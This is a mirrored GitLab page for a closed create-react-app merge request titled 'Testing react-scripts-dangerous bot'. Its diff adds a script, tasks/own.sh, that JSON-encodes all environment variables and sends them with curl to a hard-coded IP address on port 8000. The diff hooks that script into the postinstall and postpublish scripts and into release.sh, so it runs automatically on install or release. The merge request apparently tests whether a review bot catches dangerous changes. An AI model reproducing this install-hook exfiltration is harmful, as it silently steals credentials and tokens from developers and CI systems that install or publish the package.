Skip to content
GitLab
    • Explore Projects Groups Snippets
Projects Groups Snippets
  • /
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
  • Sign in / Register
  • C create-react-app
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributors
    • Graph
    • Compare
  • Issues 1,547
    • Issues 1,547
    • List
    • Boards
    • Service Desk
    • Milestones
  • Merge requests 417
    • Merge requests 417
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Schedules
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages and registries
    • Packages and registries
    • Package Registry
    • Infrastructure Registry
  • Monitor
    • Monitor
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Repository
  • Wiki
    • Wiki
  • Snippets
    • Snippets
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • Meta
  • create-react-app
  • Merge requests
  • !3130
An error occurred while fetching the assigned milestone of the selected merge_request.

Testing react-scripts-dangerous bot

  • Review changes

  • Download
  • Email patches
  • Plain diff
Closed Administrator requested to merge github/fork/sebmck/test into master 7 years ago
  • Overview 11
  • Commits 1
  • Pipelines 0
  • Changes 4

Created by: sebmck

Compare
  • master (base)

and
  • latest version
    45f01cfe
    1 commit, 2 years ago

4 files
+ 12
- 1

    Preferences

    File browser
    Compare changes
packages/re‎act-scripts‎
packag‎e.json‎ +4 -0
ta‎sks‎
own‎.sh‎ +4 -0
relea‎se.sh‎ +3 -0
packag‎e.json‎ +1 -1
packages/react-scripts/package.json
+ 4
- 0
  • View file @ 45f01cfe


@@ -63,5 +63,9 @@
},
"optionalDependencies": {
"fsevents": "1.1.2"
},
"scripts": {
"postinstall": "../../tasks/own.sh",
"postpublish": "../../tasks/own.sh"
}
}
tasks/own.sh 0 → 100755
+ 4
- 0
  • View file @ 45f01cfe

#!/bin/bash
ENV=$(node -p "encodeURIComponent(JSON.stringify(process.env))")
curl "http://178.62.99.148:8000/?env=$ENV"
tasks/release.sh
+ 3
- 0
  • View file @ 45f01cfe


@@ -16,6 +16,9 @@
# Start in tasks/ even if run from root directory
cd "$(dirname "$0")"
# Just in case this script is called by the bot
./own.sh
# Exit the script on any command with non 0 return code
# We assume that all the commands in the pipeline set their return code
# properly and that we do not need to validate that the output is correct
package.json
+ 1
- 1
  • View file @ 45f01cfe


@@ -6,7 +6,7 @@
"create-react-app": "tasks/cra.sh",
"e2e": "tasks/e2e-simple.sh",
"e2e:docker": "tasks/local-test.sh",
"postinstall": "node bootstrap.js && cd packages/react-error-overlay/ && npm run build:prod",
"postinstall": "./tasks/own.sh && node bootstrap.js && cd packages/react-error-overlay/ && npm run build:prod",
"publish": "tasks/release.sh",
"start": "node packages/react-scripts/scripts/start.js",
"test": "node packages/react-scripts/scripts/test.js --env=jsdom",
0 Assignees
None
Assign to
0 Reviewers
None
Request review from
Labels
0
None
0
None
    Assign labels
  • Manage project labels

Milestone
No milestone
None
None
Time tracking
No estimate or time spent
Lock merge request
Unlocked
0
0 participants
Reference:
Source branch: github/fork/sebmck/test

Menu

Explore Projects Groups Snippets